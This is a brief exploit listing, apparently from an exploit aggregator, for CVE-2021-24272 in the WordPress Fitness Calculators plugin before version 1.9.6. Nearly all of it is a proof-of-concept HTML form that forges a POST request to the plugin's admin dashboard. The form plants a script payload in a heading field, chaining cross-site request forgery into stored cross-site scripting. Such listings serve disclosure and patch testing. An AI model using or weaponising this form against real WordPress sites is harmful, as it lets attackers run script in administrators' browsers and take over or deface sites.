Exploit for Fitness Calculators < 1.9.6 - Cross-Site Request Forgery to Cross-Site Scripting (XSS) CVE-2021-24272

## https://sploitus.com/exploit?id=WPEX-ID:E643040B-1F3B-4C13-8A20-ACFD069DCC4F
<form method="post" action="https://example.com/wp-admin/admin.php?page=fcp_dashboard&tab=water">
    <input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
    <input type="submit" value="Save" name="submit">
</form>